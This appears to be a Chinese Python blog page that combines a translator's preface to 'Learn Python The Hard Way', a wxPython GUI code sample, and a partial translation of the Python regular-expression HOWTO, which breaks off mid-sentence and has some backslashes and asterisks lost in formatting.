您正在查看: Python 分类下的文章

译者前言

译者前言

《笨办法学 python》(Learn python The Hard Way)是 Zed Shaw 编写的一本 Python 入门书籍。适合对计算机了解不多,没有学过编程,但对编程感兴趣的朋友学习使用。这本书以习题的方式引导读者一步一步学习编程,从简单的打印一直讲到完整项目的实现。也许读完这本书并不意味着你已经学会了编程,但至少你会对编程语言以及编程这个行业有一个初步的了解。

笔者认为本书区别于其它入门书籍的特点如下:

  • 注重实践。本书提供了足够的练习代码,如果你完成了所有的练习(包括加分习题),那你已经写了上万行的代码。要知道很多职业程序员一年也就写几万行代码而已。
  • 注重能力培养。除了原序言提到的“读和写”、“注重细节”、以及“发现不同”这样的基本能力以外,本书还培养了读者自己专研问题和寻求答案的能力。
  • 注重好习惯的养成。本书详细地讲解了怎样写出好的代码、好的注释、好的项目。这会让你在后续的学习中少走很多弯路。

本书结构非常简单,其实就是 52 个习题而已。其中 26 个覆盖了输入输出、变量、以及函数三个课题,另外 26 个覆盖了一些比较高级的话题,如条件判断、循环、类和对象、代码测试、以及项目的实现等。每一章节的格式基本都是一样的,以代码练习题开始,读者照着说明编写代码(不允许复制粘贴),运行并检查结果,然后再做一下加分习题就可以了。当然如果你觉得加分习题对你来说有点难,你也可以暂时跳过,以后再完成也没关系。

另外阅读本书还需要你有一定的英文能力。其实学编程不懂英语是很吃亏的,毕竟编程语言都是基于英语,而编程社群的主要交流方式也是英语。不会英语的人在编程界可能就只好当二等公民了。本书的翻译尽量保留了所有的英文专业词汇(可能会有中文说明),而且遵照 Zed 的建议,代码及答案部分没有翻译成中文,读者看到不懂的地方,请自己查字典解决。

如果你对自己的英文能力比较有信心,译者强烈推荐你直接去下载阅读英文原版。这本书代码较多,文字内容较少,因此英文原版的阅读理解也比较容易。

LPTHW的风格和别的书差异很大。它没有像一般的入门书籍一样通过讨好读者以激发读者兴趣,而是直截了当地告诉你你需要做什么,需要注意什么。这种风格可能会让人觉得枯燥乏味,读者姑且把这也当做 Hard Way 的一部分把。所以如果你觉得有些看不下去,Zed 推荐你看下面两本书:

  • How To Think Like A Computer Scientist
  • A Byte Of Python 这本书有 中译版

如果你对本书的翻译有任何意见和建议,请发邮件给 wangdingwei82@gmail.com ,或者在 bitbucket 仓库 里提出 issue report。

你可以访问 lulu.com 购买本书的英文印刷版,这也是对原作者的支持。

原书版权为 Zed Shaw 所,译文版权为 Zed Shaw 和译者共有。译文遵循原书的版权 规定:只允许完整转载,禁止商业用途。

Project Versions

Previous topic

笨办法学 Python (Learn Python The Hard Way)

Next topic

前言:笨办法更简单

This Page

  • Show Source

Quick search

Enter search terms or a module, class or function name.

WxPython 做界面以及生成EXE

Wxpython界面真的是太轻松了。一个MDI多窗口、一个命令行、一个Frame,这些全部是python+WxPython做的,代码量极少,很快很好用。

代码如下

import wx
import wx.aui

#########MDI窗口的代码 开始

class ParentFrame(wx.aui.AuiMDIParentFrame):
    def __init__(self, parent):
        wx.aui.AuiMDIParentFrame.__init__(self, parent, -1,
                                          title="AuiMDIParentFrame",
                                          size=(640,480),
                                          style=wx.DEFAULT_FRAME_STYLE)
        self.count = 0
        mb = self.MakeMenuBar()
        self.SetMenuBar(mb)
        self.CreateStatusBar()

    def MakeMenuBar(self):
        mb = wx.MenuBar()
        menu = wx.Menu()
        item = menu.Append(-1, "New child window\tCtrl-N")
        self.Bind(wx.EVT_MENU, self.OnNewChild, item)
        item = menu.Append(-1, "Close parent")
        self.Bind(wx.EVT_MENU, self.OnDoClose, item)
        mb.Append(menu, "&File")
        return mb

    def OnNewChild(self, evt):
        self.count += 1
        child = ChildFrame(self, self.count)
        child.Show()

    def OnDoClose(self, evt):
        self.Close()

#----------------------------------------------------------------------

class ChildFrame(wx.aui.AuiMDIChildFrame):
    def __init__(self, parent, count):
        wx.aui.AuiMDIChildFrame.__init__(self, parent, -1,
                                         title="Child: %d" % count)
        mb = parent.MakeMenuBar()
        menu = wx.Menu()
        item = menu.Append(-1, "This is child %d's menu" % count)
        mb.Append(menu, "&Child")
        self.SetMenuBar(mb)

        p = wx.Panel(self)
        wx.StaticText(p, -1, "This is child %d" % count, (10,10))
        p.SetBackgroundColour('light blue')

        sizer = wx.BoxSizer()
        sizer.Add(p, 1, wx.EXPAND)
        self.SetSizer(sizer)

        wx.CallAfter(self.Layout)

#########MDI窗口的代码 结束

#########Frame的代码 开始

class MyFrame(wx.Frame):
    """
    This is MyFrame.  It just shows a few controls on a wxPanel,
    and has a simple menu.
    """
    def __init__(self, parent, title):
        wx.Frame.__init__(self, parent, -1, title,
                          pos=(150, 150), size=(350, 200))

        # Create the menubar
        menuBar = wx.MenuBar()

        # and a menu
        menu = wx.Menu()

        # add an item to the menu, using \tKeyName automatically
        # creates an accelerator, the third param is some help text
        # that will show up in the statusbar
        menu.Append(wx.ID_EXIT, "E&xit\tAlt-X", "Exit this simple sample")

        # bind the menu event to an event handler
        self.Bind(wx.EVT_MENU, self.OnTimeToClose, id=wx.ID_EXIT)

        # and put the menu on the menubar
        menuBar.Append(menu, "&File")
        self.SetMenuBar(menuBar)

        self.CreateStatusBar()

        # Now create the Panel to put the other controls on.
        panel = wx.Panel(self)

        # and a few controls
        text = wx.StaticText(panel, -1, "Hello World!")
        text.SetFont(wx.Font(14, wx.SWISS, wx.NORMAL, wx.BOLD))
        text.SetSize(text.GetBestSize())
        btn = wx.Button(panel, -1, "Close")
        funbtn = wx.Button(panel, -1, "Just for fun...")

        # bind the button events to handlers
        self.Bind(wx.EVT_BUTTON, self.OnTimeToClose, btn)
        self.Bind(wx.EVT_BUTTON, self.OnFunButton, funbtn)

        # Use a sizer to layout the controls, stacked vertically and with
        # a 10 pixel border around each
        sizer = wx.BoxSizer(wx.VERTICAL)
        sizer.Add(text, 0, wx.ALL, 10)
        sizer.Add(btn, 0, wx.ALL, 10)
        sizer.Add(funbtn, 0, wx.ALL, 10)
        panel.SetSizer(sizer)
        panel.Layout()

    def OnTimeToClose(self, evt):
        """Event handler for the button click."""
        print "See ya later!"
        self.Close()

    def OnFunButton(self, evt):
        """Event handler for the button click."""
        pf=ParentFrame(self)
        pf.Show()

#########Frame的代码 结束 
#########仿照CMD的代码 开始

class MyApp(wx.App):
    def OnInit(self):
        frame = MyFrame(None, "Simple wxPython App")
        self.SetTopWindow(frame)

        print "Print statements go to this stdout window by default."

        frame.Show(True)
        return True

#########仿照CMD的代码 结束

#########Python程序的入口代码

app = MyApp(redirect=True)
app.MainLoop()

Python正则表达式操作指南

python正则表达式操作指南
原文出处:http://www.amk.ca/python/howto/regex/
原文作者:A.M. Kuchling (amk@amk.ca)
授权许可:创作共用协议
翻译人员:FireHare
校对人员:Leal
适用版本:Python 1.5 及后续版本


摘要
本文是通过Python的 re 模块来使用正则表达式的一个入门教程,和库参考手册的对应章节相比,更为浅显易懂、循序渐进。
本文可以从 http://www.amk.ca/python/howto 捕获
目录
目录
[隐藏]
• 1 简介
• 2 简单模式
o 2.1 字符匹配
o 2.2 重复
• 3 使用正则表达式
o 3.1 编译正则表达式
o 3.2 反斜杠的麻烦
o 3.3 执行匹配
o 3.4 模块级函数
o 3.5 编译标志
• 4 更多模式功能
o 4.1 更多的元字符
o 4.2 分组
o 4.3 无捕获组和命名组
o 4.4 前向界定符
• 5 修改字符串
o 5.1 将字符串分片
o 5.2 搜索和替换
• 6 常见问题
o 6.1 使用字符串方式
o 6.2 match() vs search()
o 6.3 贪婪 vs 不贪婪
o 6.4 不用 re.VERBOSE
• 7 反馈
• 8 大标题文字
• 9 关于本文档
• 10 of LaTeX2html to the Python documentation

简介
Python 自1.5版本起增加了re 模块,它提供 perl 风格的正则表达式模式。Python 1.5之前版本则是通过 regex 模块提供 Emacs 风格的模式。Emacs 风格模式可读性稍差些,而且功能也不强,因此编写新代码时尽量不要再使用 regex 模块,当然偶尔你还是可能在老代码里发现其踪影。
就其本质而言,正则表达式(或 RE)是一种小型的、高度专业化的编程语言,(在Python中)它内嵌在Python中,并通过 re 模块实现。使用这个小型语言,你可以为想要匹配的相应字符串集指定规则;该字符串集可能包含英文语句、e-mail地址、TeX命令或任何你想搞定的东西。然后你可以问诸如“这个字符串匹配该模式吗?”或“在这个字符串中是否有部分匹配该模式呢?”。你也可以使用 RE 以各种方式来修改或分割字符串。
正则表达式模式被编译成一系列的字节码,然后由用 C 编写的匹配引擎执行。在高级用法中,也许还要仔细留意引擎是如何执行给定 RE ,如何以特定方式编写 RE 以令生产的字节码运行速度更快。本文并不涉及优化,因为那要求你已充分掌握了匹配引擎的内部机制。
正则表达式语言相对小型和受限(功能有限),因此并非所有字符串处理都能用正则表达式完成。当然也有些任务可以用正则表达式完成,不过最终表达式会变得异常复杂。碰到这些情形时,编写 Python 代码进行处理可能反而更好;尽管 Python 代码比一个精巧的正则表达式要慢些,但它更易理解。
简单模式
我们将从最简单的正则表达式学习开始。由于正则表达式常用于字符串操作,那我们就从最常见的任务:字符匹配 下手。
有关正则表达式底层的计算机科学上的详细解释(确定性和非确定性有限自动机),你可以查阅编写编译器相关的任何教科书。
字符匹配
大多数字母和字符一般都会和自身匹配。例如,正则表达式 test 会和字符串“test”完全匹配。(你也可以使用大小写不敏感模式,它还能让这个 RE 匹配“Test”或“TEST”;稍后会有更多解释。)
这个规则当然会有例外;有些字符比较特殊,它们和自身并不匹配,而是会表明应和一些特殊的东西匹配,或者它们会影响到 RE 其它部分的重复次数。本文很大篇幅专门讨论了各种元字符及其作用。
这里有一个元字符的完整列表;其含义会在本指南余下部分进行讨论。
. ^ $ * + ? { [ ] \ | ( )
我们首先考察的元字符是"[" 和 "]"。它们常用来指定一个字符类别,所谓字符类别就是你想匹配的一个字符集。字符可以单个列出,也可以用“-”号分隔的两个给定字符来表示一个字符区间。例如,[abc] 将匹配"a", "b", 或 "c"中的任意一个字符;也可以用区间[a-c]来表示同一字符集,和前者效果一致。如果你只想匹配小写字母,那么 RE 应写成 [a-z].
元字符在类别里并不起作用。例如,[akm$]将匹配字符"a", "k", "m", 或 "$" 中的任意一个;"$"通常用作元字符,但在字符类别里,其特性被除去,恢复成普通字符。
你可以用补集来匹配不在区间范围内的字符。其做法是把"^"作为类别的首个字符;其它地方的"^"只会简单匹配 "^"字符本身。例如,[^5] 将匹配除 "5" 之外的任意字符。
也许最重要的元字符是反斜杠""。 做为 Python 中的字符串字母,反斜杠后面可以加不同的字符以表示不同特殊意义。它也可以用于取消所有的元字符,这样你就可以在模式中匹配它们了。举个例子,如果你需要匹配字符 "[" 或 "",你可以在它们之前用反斜杠来取消它们的特殊意义: [ 或 \。
一些用 "" 开始的特殊字符所表示的预定义字符集通常是很有用的,象数字集,字母集,或其它非空字符集。下列是可用的预设特殊字符:
\d 匹配任何十进制数;它相当于类 [0-9]。
\D 匹配任何非数字字符;它相当于类 [^0-9]。
\s 匹配任何空白字符;它相当于类 [ \t\n\r\f\v]。
\S 匹配任何非空白字符;它相当于类 [^ \t\n\r\f\v]。
\w 匹配任何字母数字字符;它相当于类 [a-zA-Z0-9_]。
\W 匹配任何非字母数字字符;它相当于类 [^a-zA-Z0-9_]。
这样特殊字符都可以包含在一个字符类中。如,[\s,.]字符类将匹配任何空白字符或","或"."。
本节最后一个元字符是 . 。它匹配除了换行字符外的任何字符,在 alternate 模式(re.DOTALL)下它甚至可以匹配换行。"." 通常被用于你想匹配“任何字符”的地方。
重复
正则表达式第一件能做的事是能够匹配不定长的字符集,而这是其它能作用在字符串上的方法所不能做到的。 不过,如果那是正则表达式唯一的附加功能的话,那么它们也就不那么优秀了。它们的另一个功能就是你可以指定正则表达式的一部分的重复次数。
我们讨论的第一个重复功能的元字符是 并不匹配字母字符 "";相反,它指定前一个字符可以被匹配零次或更多次,而不是只有一次。
举个例子,ca
t 将匹配 "ct" (0 个 "a" 字符), "cat" (1 个 "a"), "caaat" (3 个 "a" 字符)等等。RE 引擎有各种来自 C 的整数类型大小的内部限制,以防止它匹配超过20亿个 "a" 字符;你也许没有足够的内存去建造那么大的字符串,所以将不会累计到那个限制。
象 * 这样地重复是“贪婪的”;当重复一个 RE 时,匹配引擎会试着重复尽可能多的次数。如果模式的后面部分没有被匹配,匹配引擎将退回并再次尝试更小的重复。
一步步的示例可以使它更加清晰。让我们考虑表达式 a[bcd]b。它匹配字母 "a",零个或更多个来自类 [bcd]中的字母,最后以 "b" 结尾。现在想一想该 RE 对字符串 "abcbd" 的匹配。
Step Matched Explanation
1 a a 匹配模式
2 abcbd 引擎匹配 [bcd]
,并尽其所能匹配到字符串的结尾
3 Failure 引擎尝试匹配 b,但当前位置已经是字符的最后了,所以失败
4 abcb 退回,[bcd]尝试少匹配一个字符。
5 Failure 再次尝次b,但在当前最后一位字符是"d"。
6 abc 再次退回,[bcd]
只匹配 "bc"。
7 abcb 再次尝试 b ,这次当前位上的字符正好是 "b"
RE 的结尾部分现在可以到达了,它匹配 "abcb"。这证明了匹配引擎一开始会尽其所能进行匹配,如果没有匹配然后就逐步退回并反复尝试 RE 剩下来的部分。直到它退回尝试匹配 [bcd] 到零次为止,如果随后还是失败,那么引擎就会认为该字符串根本无法匹配 RE 。
另一个重复元字符是 +,表示匹配一或更多次。请注意 * 和 + 之间的不同;* 匹配零或更多次,所以可以根本就不出现,而 + 则要求至少出现一次。用同一个例子,ca+t 就可以匹配 "cat" (1 个 "a"), "caaat" (3 个 "a"), 但不能匹配 "ct"。
还有更多的限定符。问号 ? 匹配一次或零次;你可以认为它用于标识某事物是可选的。例如:home-?brew 匹配 "homebrew" 或 "home-brew"。
最复杂的重复限定符是 {m,n},其中 m 和 n 是十进制整数。该限定符的意思是至少有 m 个重复,至多到 n 个重复。举个例子,a/{1,3}b 将匹配 "a/b","a//b" 和 "a///b"。它不能匹配 "ab" 因为没有斜杠,也不能匹配 "a////b" ,因为有四个。
你可以忽略 m 或 n;因为会为缺失的值假设一个合理的值。忽略 m 会认为下边界是 0,而忽略 n 的结果将是上边界为无穷大 -- 实际上是先前我们提到的20亿,但这也许同无穷大一样。
细心的读者也许注意到其他三个限定符都可以用这样方式来表示。 {0,} 等同于 *,{1,} 等同于 +,而{0,1}则与 ? 相同。如果可以的话,最好使用 *,+,或?。很简单因为它们更短也更容易懂。
使用正则表达式
现在我们已经看了一些简单的正则表达式,那么我们实际在 Python 中是如何使用它们的呢? re 模块提供了一个正则表达式引擎的接口,可以让你将 REs 编译成对象并用它们来进行匹配。
编译正则表达式
正则表达式被编译成 RegexObject 实例,可以为不同的操作提供方法,如模式匹配搜索或字符串替换。
#!python

import re
p = re.compile('ab*')
print p
<_sre.SRE_Pattern object at 0xb76e1a70>
re.compile() 也接受可选的标志参数,常用来实现不同的特殊功能和语法变更。我们稍后将查看所有可用的设置,但现在只举一个例子:
#!python
p = re.compile('ab', re.IGNORECASE)
RE 被做为一个字符串发送给 re.compile()。REs 被处理成字符串是因为正则表达式不是 Python 语言的核心部分,也没有为它创建特定的语法。(应用程序根本就不需要 REs,因此没必要包含它们去使语言说明变得臃肿不堪。)而 re 模块则只是以一个 C 扩展模块的形式来被 Python 包含,就象 socket 或 zlib 模块一样
将 REs 作为字符串以保证 Python 语言的简洁,但这样带来的一个麻烦就是象下节标题所讲的。
反斜杠的麻烦
在早期规定中,正则表达式用反斜杠字符 ("") 来表示特殊格式或允许使用特殊字符而不调用它的特殊用法。这就与 Python 在字符串中的那些起相同作用的相同字符产生了冲突。
让我们举例说明,你想写一个 RE 以匹配字符串 "\section",可能是在一个 LATEX 文件查找。为了要在程序代码中判断,首先要写出想要匹配的字符串。接下来你需要在所有反斜杠和其它元字符前加反斜杠来取消其特殊意义,结果要匹配的字符串就成了"\section"。 当把这个字符串传递给re.compile()时必须还是"\section"。然而,作为Python的字符串实值(string literals)来表示的话,"\section"中两个反斜杠还要再次取消特殊意义,最后结果就变成了"\\section"。
字符 阶段
\section 要匹配的字符串
\section 为 re.compile 取消反斜杠的特殊意义
"\\section" 为"\section"的字符串实值(string literals)取消反斜杠的特殊意义
简单地说,为了匹配一个反斜杠,不得不在 RE 字符串中写 '\\',因为正则表达式中必须是 "\",而每个反斜杠在常规的 Python 字符串实值中必须表示成 "\"。在 REs 中反斜杠的这个重复特性会导致大量重复的反斜杠,而且所生成的字符串也很难懂。
解决的办法就是为正则表达式使用 Python 的 raw 字符串表示;在字符串前加个 "r" 反斜杠就不会被任何特殊方式处理,所以 r"\n" 就是包含"" 和 "n" 的两个字符,而 "\n" 则是一个字符,表示一个换行。正则表达式通常在 Python 代码中都是用这种 raw 字符串表示。
常规字符串 Raw 字符串
"ab
" r"ab*"
"\\section" r"\section"
"\w+\s+\1" r"\w+\s+\1"
执行匹配
一旦你有了已经编译了的正则表达式的对象,你要用它做什么呢?RegexObject 实例有一些方法和属性。这里只显示了最重要的几个,如果要看完整的列表请查阅 Python Library Reference
方法/属性 作用
match() 决定 RE 是否在字符串刚开始的位置匹配
search() 扫描字符串,找到这个 RE 匹配的位置
findall() 找到 RE 匹配的所有子串,并把它们作为一个列表返回
finditer() 找到 RE 匹配的所有子串,并把它们作为一个迭代器返回
如果没有匹配到的话,match() 和 search() 将返回 None。如果成功的话,就会返回一个 MatchObject 实例,其中有这次匹配的信息:它是从哪里开始和结束,它所匹配的子串等等。
你可以用采用人机对话并用 re 模块实验的方式来学习它。如果你有 Tkinter 的话,你也许可以考虑参考一下 Tools/scripts/redemo.py,一个包含在 Python 发行版里的示范程序。
首先,运行 Python 解释器,导入 re 模块并编译一个 RE:
#!python
Python 2.2.2 (#1, Feb 10 2003, 12:57:01)
import re
p = re.compile('[a-z]+')
p
<_sre.SRE_Pattern object at 80c3c28>
现在,你可以试着用 RE 的 [a-z]+ 去匹配不同的字符串。一个空字符串将根本不能匹配,因为 + 的意思是 “一个或更多的重复次数”。 在这种情况下 match() 将返回 None,因为它使解释器没有输出。你可以明确地打印出 match() 的结果来弄清这一点。
#!python
p.match("")
print p.match("")
None
现在,让我们试着用它来匹配一个字符串,如 "tempo"。这时,match() 将返回一个 MatchObject。因此你可以将结果保存在变量里以便後面使用。
#!python
m = p.match( 'tempo')
print m
<_sre.SRE_Match object at 80c4f68>
现在你可以查询 MatchObject 关于匹配字符串的相关信息了。MatchObject 实例也有几个方法和属性;最重要的那些如下所示:
方法/属性 作用
group() 返回被 RE 匹配的字符串
start() 返回匹配开始的位置
end() 返回匹配结束的位置
span() 返回一个元组包含匹配 (开始,结束) 的位置

试试这些方法不久就会清楚它们的作用了:
#!python

m.group()
'tempo'
m.start(), m.end()
(0, 5)
m.span()
(0, 5)
group() 返回 RE 匹配的子串。start() 和 end() 返回匹配开始和结束时的索引。span() 则用单个元组把开始和结束时的索引一起返回。因为匹配方法检查到如果 RE 在字符串开始处开始匹配,那幺 start() 将总是为零。然而, RegexObject 实例的 search 方法扫描下面的字符串的话,在这种情况下,匹配开始的位置就也许不是零了。
#!python
print p.match('::: message')
None
m = p.search('::: message') ; print m
<re.MatchObject instance at 80c9650>
m.group()
'message'
m.span()
(4, 11)
在实际程序中,最常见的作法是将 MatchObject 保存在一个变量里,然後检查它是否为 None,通常如下所示:
#!python
p = re.compile( ... )
m = p.match( 'string goes here' )
if m:
print 'Match found: ', m.group()
else:
print 'No match'
两个 RegexObject 方法返回所有匹配模式的子串。findall()返回一个匹配字符串行表:
#!python
p = re.compile('\d+')
p.findall('12 drummers drumming, 11 pipers piping, 10 lords a-leaping')
['12', '11', '10']
findall() 在它返回结果时不得不创建一个列表。在 Python 2.2中,也可以用 finditer() 方法。
#!python
iterator = p.finditer('12 drummers drumming, 11 ... 10 ...')
iterator
<callable-iterator object at 0x401833ac>
for match in iterator:
... print match.span()
...
(0, 2)
(22, 24)
(29, 31)
模块级函数
你不一定要产生一个 RegexObject 对象然后再调用它的方法;re 模块也提供了顶级函数调用如 match()、search()、sub() 等等。这些函数使用 RE 字符串作为第一个参数,而后面的参数则与相应 RegexObject 的方法参数相同,返回则要么是 None 要么就是一个 MatchObject 的实例。
#!python
print re.match(r'From\s+', 'Fromage amk')
None
re.match(r'From\s+', 'From amk Thu May 14 19:12:10 1998')
<re.MatchObject instance at 80c5978>
Under the hood, 这些函数简单地产生一个 RegexOject 并在其上调用相应的方法。它们也在缓存里保存编译后的对象,因此在将来调用用到相同 RE 时就会更快。

你将使用这些模块级函数,还是先得到一个 RegexObject 再调用它的方法呢?如何选择依赖于怎样用 RE 更有效率以及你个人编码风格。如果一个 RE 在代码中只做用一次的话,那么模块级函数也许更方便。如果程序包含很多的正则表达式,或在多处复用同一个的话,那么将全部定义放在一起,在一段代码中提前编译所有的 REs 更有用。从标准库中看一个例子,这是从 xmllib.py 文件中提取出来的:
#!python
ref = re.compile( ... )
entityref = re.compile( ... )
charref = re.compile( ... )
starttagopen = re.compile( ... )
我通常更喜欢使用编译对象,甚至它只用一次,但很少人会像我这样做(如同一个纯粹主义者)。
编译标志
编译标志让你可以修改正则表达式的一些运行方式。在 re 模块中标志可以使用两个名字,一个是全名如 IGNORECASE,一个是缩写,一字母形式如 I。(如果你熟悉 perl 的模式修改,一字母形式使用同样的字母;例如 re.VERBOSE的缩写形式是 re.X。)多个标志可以通过按位 OR-ing 它们来指定。如 re.I | re.M 被设置成 I 和 M 标志:

这有个可用标志表,对每个标志后面都有详细的说明。
标志 含义
DOTALL, S 使 . 匹配包括换行在内的所有字符
IGNORECASE, I 使匹配对大小写不敏感
LOCALE, L 做本地化识别(locale-aware)匹配
MULTILINE, M 多行匹配,影响 ^ 和 $
VERBOSE, X 能够使用 REs 的 verbose 状态,使之被组织得更清晰易懂
I
IGNORECASE
使匹配对大小写不敏感;字符类和字符串匹配字母时忽略大小写。举个例子,[A-Z]也可以匹配小写字母,Spam 可以匹配 "Spam", "spam", 或 "spAM"。这个小写字母并不考虑当前位置。
L
LOCALE
影响 \w, \W, \b, 和 \B,这取决于当前的本地化设置。
locales 是 C 语言库中的一项功能,是用来为需要考虑不同语言的编程提供帮助的。举个例子,如果你正在处理法文文本,你想用 \w+ 来匹配文字,但 \w 只匹配字符类 [A-Za-z];它并不能匹配 "é" 或 "ç"。如果你的系统配置适当且本地化设置为法语,那么内部的 C 函数将告诉程序 "é" 也应该被认为是一个字母。当在编译正则表达式时使用 LOCALE 标志会得到用这些 C 函数来处理 \w 后的编译对象;这会更慢,但也会象你希望的那样可以用 \w+ 来匹配法文文本。
M
MULTILINE

(此时 ^ 和 $ 不会被解释; 它们将在 4.1 节被介绍.)

使用 "^" 只匹配字符串的开始,而 $ 则只匹配字符串的结尾和直接在换行前(如果有的话)的字符串结尾。当本标志指定后, "^" 匹配字符串的开始和字符串中每行的开始。同样的, $ 元字符匹配字符串结尾和字符串中每行的结尾(直接在每个换行之前)。
S
DOTALL
使 "." 特殊字符完全匹配任何字符,包括换行;没有这个标志, "." 匹配除了换行外的任何字符。
X
VERBOSE

该标志通过给予你更灵活的格式以便你将正则表达式写得更易于理解。当该标志被指定时,在 RE 字符串中的空白符被忽略,除非该空白符在字符类中或在反斜杠之后;这可以让你更清晰地组织和缩进 RE。它也可以允许你将注释写入 RE,这些注释会被引擎忽略;注释用 "#"号 来标识,不过该符号不能在字符串或反斜杠之后。

举个例子,这里有一个使用 re.VERBOSE 的 RE;看看读它轻松了多少?
#!python
charref = re.compile(r"""&[[]] # Start of a numeric entity reference|||here has wrong.i can't fix
(
[0-9]+[^0-9] # Decimal form
| 0[0-7]+[^0-7] # Octal form
| x[0-9a-fA-F]+[^0-9a-fA-F] # Hexadecimal form
)
""", re.VERBOSE)
没有 verbose 设置, RE 会看起来象这样:
#!python
charref = re.compile("&#([0-9]+[^0-9]"
"|0[0-7]+[^0-7]"
"|x[0-9a-fA-F]+[^0-9a-fA-F])")
在上面的例子里,Python 的字符串自动连接可以用来将 RE 分成更小的部分,但它比用 re.VERBOSE 标志时更难懂
更多模式功能
到目前为止,我们只展示了正则表达式的一部分功能。在本节,我们将展示一些新的元字符和如何使用组来检索被匹配的文本部分。
== ==
更多的元字符
粗体文字链接标题还有一些我们还没展示的元字符,其中的大部分将在本节展示。

剩下来要讨论的一部分元字符是零宽界定符(zero-width assertions)。它们并不会使引擎在处理字符串时更快;相反,它们根本就没有对应任何字符,只是简单的成功或失败。举个例子, \b 是一个在单词边界定位当前位置的界定符(assertions),这个位置根本就不会被 \b 改变。这意味着零宽界定符(zero-width assertions)将永远不会被重复,因为如果它们在给定位置匹配一次,那么它们很明显可以被匹配无数次。
|

可选项,或者 "or" 操作符。如果 A 和 B 是正则表达式,A|B 将匹配任何匹配了 "A" 或 "B" 的字符串。| 的优先级非常低,是为了当你有多字符串要选择时能适当地运行。Crow|Servo 将匹配"Crow" 或 "Servo", 而不是 "Cro", 一个 "w" 或 一个 "S", 和 "ervo"。

为了匹配字母 "|",可以用 |,或将其包含在字符类中,如[|]。
^

匹配行首。除非设置 MULTILINE 标志,它只是匹配字符串的开始。在 MULTILINE 模式里,它也可以直接匹配字符串中的每个换行。

例如,如果你只希望匹配在行首单词 "From",那么 RE 将用 ^From。
#!python

print re.search('^From', 'From Here to Eternity')
<re.MatchObject instance at 80c1520>
print re.search('^From', 'Reciting From Memory')
None
$

匹配行尾,行尾被定义为要么是字符串尾,要么是一个换行字符后面的任何位置。
#!python

print re.search('}$', '{block}')
<re.MatchObject instance at 80adfa8>
print re.search('}$', '{block} ')
None
print re.search('}$', '{block}\n')
<re.MatchObject instance at 80adfa8>
匹配一个 "$",使用 $ 或将其包含在字符类中,如[$]。
\A

只匹配字符串首。当不在 MULTILINE 模式,\A 和 ^ 实际上是一样的。然而,在 MULTILINE 模式里它们是不同的;\A 只是匹配字符串首,而 ^ 还可以匹配在换行符之后字符串的任何位置。
\Z
Matches only at the end of the string.
只匹配字符串尾。
\b
单词边界。这是个零宽界定符(zero-width assertions)只用以匹配单词的词首和词尾。单词被定义为一个字母数字序列,因此词尾就是用空白符或非字母数字符来标示的。

下面的例子只匹配 "class" 整个单词;而当它被包含在其他单词中时不匹配。
#!python

p = re.compile(r'\bclass\b')
print p.search('no class at all')
<re.MatchObject instance at 80c8f28>
print p.search('the declassified algorithm')
None
print p.search('one subclass is')
None
当用这个特殊序列时你应该记住这里有两个微妙之处。第一个是 Python 字符串和正则表达式之间最糟的冲突。在 Python 字符串里,"\b" 是反斜杠字符,ASCII值是8。如果你没有使用 raw 字符串时,那么 Python 将会把 "\b" 转换成一个回退符,你的 RE 将无法象你希望的那样匹配它了。下面的例子看起来和我们前面的 RE 一样,但在 RE 字符串前少了一个 "r" 。
#!python
p = re.compile('\bclass\b')
print p.search('no class at all')
None
print p.search('\b' + 'class' + '\b')
<re.MatchObject instance at 80c3ee0>
第二个在字符类中,这个限定符(assertion)不起作用,\b 表示回退符,以便与 Python 字符串兼容。
\B

另一个零宽界定符(zero-width assertions),它正好同 \b 相反,只在当前位置不在单词边界时匹配。
分组
你经常需要得到比 RE 是否匹配还要多的信息。正则表达式常常用来分析字符串,编写一个 RE 匹配感兴趣的部分并将其分成几个小组。举个例子,一个 RFC-822 的头部用 ":" 隔成一个头部名和一个值,这就可以通过编写一个正则表达式匹配整个头部,用一组匹配头部名,另一组匹配头部值的方式来处理。

组是通过 "(" 和 ")" 元字符来标识的。 "(" 和 ")" 有很多在数学表达式中相同的意思;它们一起把在它们里面的表达式组成一组。举个例子,你可以用重复限制符,象 , +, ?, 和 {m,n},来重复组里的内容,比如说(ab) 将匹配零或更多个重复的 "ab"。
#!python

p = re.compile('(ab)*')
print p.match('ababababab').span()
(0, 10)
组用 "(" 和 ")" 来指定,并且得到它们匹配文本的开始和结尾索引;这就可以通过一个参数用 group()、start()、end() 和 span() 来进行检索。组是从 0 开始计数的。组 0 总是存在;它就是整个 RE,所以 MatchObject 的方法都把组 0 作为它们缺省的参数。稍后我们将看到怎样表达不能得到它们所匹配文本的 span。
#!python
p = re.compile('(a)b')
m = p.match('ab')
m.group()
'ab'
m.group(0)
'ab'
小组是从左向右计数的,从1开始。组可以被嵌套。计数的数值可以通过从左到右计算打开的括号数来确定。
#!python
p = re.compile('(a(b)c)d')
m = p.match('abcd')
m.group(0)
'abcd'
m.group(1)
'abc'
m.group(2)
'b'
group() 可以一次输入多个组号,在这种情况下它将返回一个包含那些组所对应值的元组。
#!python
m.group(2,1,2)
('b', 'abc', 'b')
The groups() 方法返回一个包含所有小组字符串的元组,从 1 到 所含的小组号。
#!python
m.groups()
('abc', 'b')
模式中的逆向引用允许你指定先前捕获组的内容,该组也必须在字符串当前位置被找到。举个例子,如果组 1 的内容能够在当前位置找到的话,\1 就成功否则失败。记住 Python 字符串也是用反斜杠加数据来允许字符串中包含任意字符的,所以当在 RE 中使用逆向引用时确保使用 raw 字符串。

例如,下面的 RE 在一个字符串中找到成双的词。
#!python

p = re.compile(r'(\b\w+)\s+\1')
p.search('Paris in the the spring').group()
'the the'
象这样只是搜索一个字符串的逆向引用并不常见 -- 用这种方式重复数据的文本格式并不多见 -- 但你不久就可以发现它们用在字符串替换上非常有用。
无捕获组和命名组
精心设计的 REs 也许会用很多组,既可以捕获感兴趣的子串,又可以分组和结构化 RE 本身。在复杂的 REs 里,追踪组号变得困难。有两个功能可以对这个问题有所帮助。它们也都使用正则表达式扩展的通用语法,因此我们来看看第一个。

Perl 5 对标准正则表达式增加了几个附加功能,Python 的 re 模块也支持其中的大部分。选择一个新的单按键元字符或一个以 "" 开始的特殊序列来表示新的功能,而又不会使 Perl 正则表达式与标准正则表达式产生混乱是有难度的。如果你选择 "&" 做为新的元字符,举个例子,老的表达式认为 "&" 是一个正常的字符,而不会在使用 & 或 [&] 时也不会转义。

Perl 开发人员的解决方法是使用 (?...) 来做为扩展语法。"?" 在括号后面会直接导致一个语法错误,因为 "?" 没有任何字符可以重复,因此它不会产生任何兼容问题。紧随 "?" 之后的字符指出扩展的用途,因此 (?=foo)

